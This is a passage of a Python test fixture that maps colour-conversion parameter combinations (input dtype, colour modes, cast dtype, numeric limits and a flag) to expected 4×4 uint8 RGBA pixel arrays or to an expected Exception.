[[0, 0, 0, 255], [255, 255, 255, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.float32, "2D", "RGB", None, None, True): Exception,
(np.float32, "2D", "RGB", None, None, False): Exception,
(np.float32, "2D", "RGB", None, 232, True): Exception,
(np.float32, "2D", "RGB", None, 232, False): Exception,
(np.float32, "2D", "RGB", None, 13333, True): Exception,
(np.float32, "2D", "RGB", None, 13333, False): Exception,
(np.float32, "2D", "RGB", np.uint8, None, True): Exception,
(np.float32, "2D", "RGB", np.uint8, None, False): Exception,
(np.float32, "2D", "RGB", np.uint8, 232, True): Exception,
(np.float32, "2D", "RGB", np.uint8, 232, False): Exception,
(np.float32, "2D", "RGB", np.uint8, 13333, True): Exception,
(np.float32, "2D", "RGB", np.uint8, 13333, False): Exception,
(np.float32, "2D", "RGB", np.uint16, None, True): Exception,
(np.float32, "2D", "RGB", np.uint16, None, False): Exception,
(np.float32, "2D", "RGB", np.uint16, 232, True): Exception,
(np.float32, "2D", "RGB", np.uint16, 232, False): Exception,
(np.float32, "2D", "RGB", np.uint16, 13333, True): Exception,
(np.float32, "2D", "RGB", np.uint16, 13333, False): Exception,
(np.float32, "2D", "RGBA", None, None, True): np.array(
[
[[255, 255, 255, 255], [0, 0, 0, 255], [0, 0, 0, 0], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [1, 1, 1, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.float32, "2D", "RGBA", None, None, False): np.array(
[
[[255, 255, 255, 255], [0, 0, 0, 255], [0, 0, 0, 0], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [1, 1, 1, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.float32, "2D", "RGBA", None, 232, True): np.array(
[
[[255, 255, 255, 255], [0, 0, 0, 255], [0, 0, 0, 0], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.float32, "2D", "RGBA", None, 232, False): np.array(
[
[[255, 255, 255, 255], [0, 0, 0, 255], [0, 0, 0, 0], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.float32, "2D", "RGBA", None, 13333, True): np.array(
[
[[255, 255, 255, 255], [0, 0, 0, 255], [0, 0, 0, 0], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [52, 52, 52, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [8, 8, 8, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [45, 45, 45, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.float32, "2D", "RGBA", None, 13333, False): np.array(
[
[[255, 255, 255, 255], [0, 0, 0, 255], [0, 0, 0, 0], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [52, 52, 52, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [8, 8, 8, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [45, 45, 45, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.float32, "2D", "RGBA", np.uint8, None, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 0], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.float32, "2D", "RGBA", np.uint8, None, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 0], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.float32, "2D", "RGBA", np.uint8, 232, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 0], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.float32, "2D", "RGBA", np.uint8, 232, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 0], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.float32, "2D", "RGBA", np.uint8, 13333, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 0], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.float32, "2D", "RGBA", np.uint8, 13333, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 0], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.float32, "2D", "RGBA", np.uint16, None, True): np.array(
[
[[0, 0, 0, 255], [255, 255, 255, 255], [255, 255, 255, 0], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.float32, "2D", "RGBA", np.uint16, None, False): np.array(
[
[[0, 0, 0, 255], [255, 255, 255, 255], [255, 255, 255, 0], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.float32, "2D", "RGBA", np.uint16, 232, True): np.array(
[
[[0, 0, 0, 255], [255, 255, 255, 255], [255, 255, 255, 0], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.float32, "2D", "RGBA", np.uint16, 232, False): np.array(
[
[[0, 0, 0, 255], [255, 255, 255, 255], [255, 255, 255, 0], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.float32, "2D", "RGBA", np.uint16, 13333, True): np.array(
[
[[0, 0, 0, 255], [255, 255, 255, 255], [255, 255, 255, 0], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.float32, "2D", "RGBA", np.uint16, 13333, False): np.array(
[
[[0, 0, 0, 255], [255, 255, 255, 255], [255, 255, 255, 0], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.float32, "RGB", "SIMPLE", None, None, True): np.array(
[
[[59, 99, 32, 255], [103, 231, 72, 255], [233, 117, 43, 255], [74, 249, 184, 255]],
[[0, 185, 137, 0], [232, 72, 187, 255], [86, 56, 249, 255], [35, 88, 101, 255]],
[[217, 49, 0, 255], [123, 12, 152, 255], [255, 83, 37, 255], [95, 90, 22, 255]],
[[177, 133, 125, 255], [238, 36, 174, 255], [70, 177, 17, 255], [67, 65, 219, 255]],
],
dtype=np.uint8,
),
(np.float32, "RGB", "SIMPLE", None, None, False): np.array(
[
[[32, 99, 59, 255], [72, 231, 103, 255], [43, 117, 233, 255], [184, 249, 74, 255]],
[[137, 185, 0, 0], [187, 72, 232, 255], [249, 56, 86, 255], [101, 88, 35, 255]],
[[0, 49, 217, 255], [152, 12, 123, 255], [37, 83, 255, 255], [22, 90, 95, 255]],
[[125, 133, 177, 255], [174, 36, 238, 255], [17, 177, 70, 255], [219, 65, 67, 255]],
],
dtype=np.uint8,
),
(np.float32, "RGB", "SIMPLE", None, 232, True): np.array(
[
[[54, 90, 29, 255], [94, 210, 65, 255], [212, 106, 39, 255], [68, 227, 167, 255]],
[[0, 169, 125, 0], [211, 65, 170, 255], [78, 51, 227, 255], [32, 80, 91, 255]],
[[197, 44, 0, 255], [112, 11, 138, 255], [255, 75, 34, 255], [86, 82, 20, 255]],
[[161, 121, 113, 255], [216, 33, 158, 255], [64, 161, 15, 255], [61, 59, 199, 255]],
],
dtype=np.uint8,
),
(np.float32, "RGB", "SIMPLE", None, 232, False): np.array(
[
[[29, 90, 54, 255], [65, 210, 94, 255], [39, 106, 212, 255], [167, 227, 68, 255]],
[[125, 169, 0, 0], [170, 65, 211, 255], [227, 51, 78, 255], [91, 80, 32, 255]],
[[0, 44, 197, 255], [138, 11, 112, 255], [34, 75, 255, 255], [20, 82, 86, 255]],
[[113, 121, 161, 255], [158, 33, 216, 255], [15, 161, 64, 255], [199, 59, 61, 255]],
],
dtype=np.uint8,
),
(np.float32, "RGB", "SIMPLE", None, 13333, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[0, 255, 255, 0], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 0, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.float32, "RGB", "SIMPLE", None, 13333, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 0, 0], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[0, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.float32, "RGB", "SIMPLE", np.uint8, None, True): np.array(
[
[[0, 0, 255, 255], [0, 0, 255, 255], [0, 0, 0, 255], [255, 0, 255, 255]],
[[255, 0, 0, 0], [255, 255, 0, 255], [255, 255, 0, 255], [0, 255, 0, 255]],
[[0, 0, 255, 255], [0, 255, 255, 255], [255, 0, 0, 255], [0, 255, 255, 255]],
[[0, 0, 0, 255], [255, 255, 255, 255], [255, 0, 0, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.float32, "RGB", "SIMPLE", np.uint8, None, False): np.array(
[
[[255, 0, 0, 255], [255, 0, 0, 255], [0, 0, 0, 255], [255, 0, 255, 255]],
[[0, 0, 255, 0], [0, 255, 255, 255], [0, 255, 255, 255], [0, 255, 0, 255]],
[[255, 0, 0, 255], [255, 255, 0, 255], [0, 0, 255, 255], [255, 255, 0, 255]],
[[0, 0, 0, 255], [255, 255, 255, 255], [0, 0, 255, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.float32, "RGB", "SIMPLE", np.uint8, 232, True): np.array(
[
[[255, 255, 0, 255], [255, 255, 0, 255], [255, 255, 0, 255], [255, 0, 0, 255]],
[[255, 0, 0, 0], [0, 0, 255, 255], [255, 0, 0, 255], [255, 255, 0, 255]],
[[0, 255, 255, 255], [255, 0, 255, 255], [255, 0, 255, 255], [255, 255, 255, 255]],
[[0, 0, 0, 255], [255, 0, 255, 255], [255, 0, 0, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.float32, "RGB", "SIMPLE", np.uint8, 232, False): np.array(
[
[[0, 255, 255, 255], [0, 255, 255, 255], [0, 255, 255, 255], [0, 0, 255, 255]],
[[0, 0, 255, 0], [255, 0, 0, 255], [0, 0, 255, 255], [0, 255, 255, 255]],
[[255, 255, 0, 255], [255, 0, 255, 255], [255, 0, 255, 255], [255, 255, 255, 255]],
[[0, 0, 0, 255], [255, 0, 255, 255], [0, 0, 255, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.float32, "RGB", "SIMPLE", np.uint8, 13333, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 0], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.float32, "RGB", "SIMPLE", np.uint8, 13333, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 0], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.float32, "RGB", "SIMPLE", np.uint16, None, True): np.array(
[
[[0, 0, 255, 255], [255, 0, 0, 255], [255, 0, 255, 255], [0, 0, 0, 255]],
[[255, 0, 255, 0], [0, 0, 255, 255], [255, 255, 0, 255], [0, 0, 255, 255]],
[[255, 0, 255, 255], [255, 0, 0, 255], [0, 0, 255, 255], [255, 255, 255, 255]],
[[0, 0, 0, 255], [0, 0, 255, 255], [0, 255, 0, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.float32, "RGB", "SIMPLE", np.uint16, None, False): np.array(
[
[[255, 0, 0, 255], [0, 0, 255, 255], [255, 0, 255, 255], [0, 0, 0, 255]],
[[255, 0, 255, 0], [255, 0, 0, 255], [0, 255, 255, 255], [255, 0, 0, 255]],
[[255, 0, 255, 255], [0, 0, 255, 255], [255, 0, 0, 255], [255, 255, 255, 255]],
[[0, 0, 0, 255], [255, 0, 0, 255], [0, 255, 0, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.float32, "RGB", "SIMPLE", np.uint16, 232, True): np.array(
[
[[255, 255, 0, 255], [0, 255, 0, 255], [0, 0, 255, 255], [0, 0, 0, 255]],
[[255, 0, 0, 0], [0, 0, 0, 255], [255, 255, 0, 255], [0, 0, 0, 255]],
[[0, 0, 255, 255], [0, 0, 255, 255], [0, 255, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [255, 255, 0, 255], [0, 0, 255, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.float32, "RGB", "SIMPLE", np.uint16, 232, False): np.array(
[
[[0, 255, 255, 255], [0, 255, 0, 255], [255, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 255, 0], [0, 0, 0, 255], [0, 255, 255, 255], [0, 0, 0, 255]],
[[255, 0, 0, 255], [255, 0, 0, 255], [0, 255, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 255, 255, 255], [255, 0, 0, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.float32, "RGB", "SIMPLE", np.uint16, 13333, True): np.array(
[
[[255, 255, 0, 255], [255, 255, 0, 255], [255, 255, 0, 255], [255, 0, 0, 255]],
[[255, 255, 0, 0], [0, 0, 0, 255], [255, 0, 0, 255], [255, 0, 255, 255]],
[[0, 255, 255, 255], [255, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[255, 0, 255, 255], [0, 0, 0, 255], [255, 0, 255, 255], [255, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.float32, "RGB", "SIMPLE", np.uint16, 13333, False): np.array(
[
[[0, 255, 255, 255], [0, 255, 255, 255], [0, 255, 255, 255], [0, 0, 255, 255]],
[[0, 255, 255, 0], [0, 0, 0, 255], [0, 0, 255, 255], [255, 0, 255, 255]],
[[255, 255, 0, 255], [0, 0, 255, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[255, 0, 255, 255], [0, 0, 0, 255], [255, 0, 255, 255], [0, 0, 255, 255]],
],
dtype=np.uint8,
),
(np.float32, "RGB", "RGB", None, None, True): np.array(
[
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 0], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [255, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.float32, "RGB", "RGB", None, None, False): np.array(
[
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 0], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 255, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.float32, "RGB", "RGB", None, 232, True): np.array(
[
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 0], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [255, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.float32, "RGB", "RGB", None, 232, False): np.array(
[
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 0], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 255, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.float32, "RGB", "RGB", None, 13333, True): np.array(
[
[[12, 0, 0, 255], [21, 0, 0, 255], [47, 0, 0, 255], [15, 0, 0, 255]],
[[0, 0, 0, 0], [47, 0, 0, 255], [17, 0, 0, 255], [7, 0, 0, 255]],
[[44, 0, 0, 255], [25, 0, 0, 255], [255, 0, 0, 255], [19, 0, 0, 255]],
[[36, 0, 0, 255], [48, 0, 0, 255], [14, 0, 0, 255], [13, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.float32, "RGB", "RGB", None, 13333, False): np.array(
[
[[0, 0, 12, 255], [0, 0, 21, 255], [0, 0, 47, 255], [0, 0, 15, 255]],
[[0, 0, 0, 0], [0, 0, 47, 255], [0, 0, 17, 255], [0, 0, 7, 255]],
[[0, 0, 44, 255], [0, 0, 25, 255], [0, 0, 255, 255], [0, 0, 19, 255]],
[[0, 0, 36, 255], [0, 0, 48, 255], [0, 0, 14, 255], [0, 0, 13, 255]],
],
dtype=np.uint8,
),
(np.float32, "RGB", "RGB", np.uint8, None, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 0], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.float32, "RGB", "RGB", np.uint8, None, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 0], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.float32, "RGB", "RGB", np.uint8, 232, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 0], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.float32, "RGB", "RGB", np.uint8, 232, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 0], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.float32, "RGB", "RGB", np.uint8, 13333, True): np.array(
[
[[255, 255, 255, 255], [0, 255, 255, 255], [0, 255, 255, 255], [0, 255, 255, 255]],
[[255, 255, 255, 0], [0, 255, 255, 255], [0, 255, 255, 255], [0, 255, 255, 255]],
[[255, 255, 255, 255], [0, 255, 255, 255], [255, 255, 255, 255], [0, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [0, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.float32, "RGB", "RGB", np.uint8, 13333, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 0, 255], [255, 255, 0, 255], [255, 255, 0, 255]],
[[255, 255, 255, 0], [255, 255, 0, 255], [255, 255, 0, 255], [255, 255, 0, 255]],
[[255, 255, 255, 255], [255, 255, 0, 255], [255, 255, 255, 255], [255, 255, 0, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 0, 255]],
],
dtype=np.uint8,
),
(np.float32, "RGB", "RGB", np.uint16, None, True): np.array(
[
[[0, 255, 255, 255], [0, 255, 255, 255], [0, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 0], [255, 255, 255, 255], [0, 255, 255, 255], [0, 255, 255, 255]],
[[255, 255, 255, 255], [0, 255, 255, 255], [0, 255, 255, 255], [0, 255, 255, 255]],
[[0, 255, 255, 255], [0, 255, 255, 255], [0, 255, 255, 255], [0, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.float32, "RGB", "RGB", np.uint16, None, False): np.array(
[
[[255, 255, 0, 255], [255, 255, 0, 255], [255, 255, 0, 255], [255, 255, 255, 255]],
[[255, 255, 255, 0], [255, 255, 255, 255], [255, 255, 0, 255], [255, 255, 0, 255]],
[[255, 255, 255, 255], [255, 255, 0, 255], [255, 255, 0, 255], [255, 255, 0, 255]],
[[255, 255, 0, 255], [255, 255, 0, 255], [255, 255, 0, 255], [255, 255, 0, 255]],
],
dtype=np.uint8,
),
(np.float32, "RGB", "RGB", np.uint16, 232, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 0], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [0, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.float32, "RGB", "RGB", np.uint16, 232, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 0], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 0, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.float32, "RGB", "RGB", np.uint16, 13333, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [0, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 0], [0, 255, 255, 255], [0, 255, 255, 255], [0, 255, 255, 255]],
[[0, 255, 255, 255], [0, 255, 255, 255], [0, 255, 255, 255], [0, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [0, 255, 255, 255], [0, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.float32, "RGB", "RGB", np.uint16, 13333, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 0, 255], [255, 255, 255, 255]],
[[255, 255, 255, 0], [255, 255, 0, 255], [255, 255, 0, 255], [255, 255, 0, 255]],
[[255, 255, 0, 255], [255, 255, 0, 255], [255, 255, 0, 255], [255, 255, 0, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 0, 255], [255, 255, 0, 255]],
],
dtype=np.uint8,
),
(np.float32, "RGB", "RGBA", None, None, True): Exception,
(np.float32, "RGB", "RGBA", None, None, False): Exception,
(np.float32, "RGB", "RGBA", None, 232, True): Exception,
(np.float32, "RGB", "RGBA", None, 232, False): Exception,
(np.float32, "RGB", "RGBA", None, 13333, True): Exception,
(np.float32, "RGB", "RGBA", None, 13333, False): Exception,
(np.float32, "RGB", "RGBA", np.uint8, None, True): Exception,
(np.float32, "RGB", "RGBA", np.uint8, None, False): Exception,
(np.float32, "RGB", "RGBA", np.uint8, 232, True): Exception,
(np.float32, "RGB", "RGBA", np.uint8, 232, False): Exception,
(np.float32, "RGB", "RGBA", np.uint8, 13333, True): Exception,
(np.float32, "RGB", "RGBA", np.uint8, 13333, False): Exception,
(np.float32, "RGB", "RGBA", np.uint16, None, True): Exception,
(np.float32, "RGB", "RGBA", np.uint16, None, False): Exception,
(np.float32, "RGB", "RGBA", np.uint16, 232, True): Exception,
(np.float32, "RGB", "RGBA", np.uint16, 232, False): Exception,
(np.float32, "RGB", "RGBA", np.uint16, 13333, True): Exception,
(np.float32, "RGB", "RGBA", np.uint16, 13333, False): Exception,
(np.float32, "RGBA", "SIMPLE", None, None, True): np.array(
[
[[248, 159, 5, 0], [217, 237, 151, 255], [102, 203, 57, 44], [244, 177, 73, 196]],
[[29, 189, 17, 250], [168, 188, 84, 208], [198, 134, 144, 81], [208, 209, 210, 126]],
[[8, 212, 80, 241], [159, 153, 128, 236], [0, 0, 7, 0], [249, 140, 61, 88]],
